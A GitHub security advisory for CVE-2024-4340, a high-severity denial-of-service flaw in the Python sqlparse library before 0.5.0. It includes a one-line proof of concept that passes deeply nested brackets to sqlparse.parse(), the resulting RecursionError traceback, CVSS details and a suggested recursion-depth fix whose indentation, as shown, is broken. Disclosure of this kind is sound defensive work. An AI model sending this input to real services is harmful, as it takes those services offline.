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sqlparse parsing heavily nested list leads to Denial of Service

High severity GitHub Reviewed Published Apr 13, 2024 in andialbrecht/sqlparse • Updated May 1, 2024

Package

pip sqlparse (pip)

Affected versions

< 0.5.0

Patched versions

0.5.0

Description

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.

References

@andialbrecht andialbrecht published to andialbrecht/sqlparse Apr 13, 2024
Published to the GitHub Advisory Database Apr 15, 2024
Reviewed Apr 15, 2024
Last updated May 1, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.065%
(30th percentile)

Weaknesses

CVE ID

CVE-2024-4340

GHSA ID

GHSA-2m57-hf25-phgg

Source code

Credits

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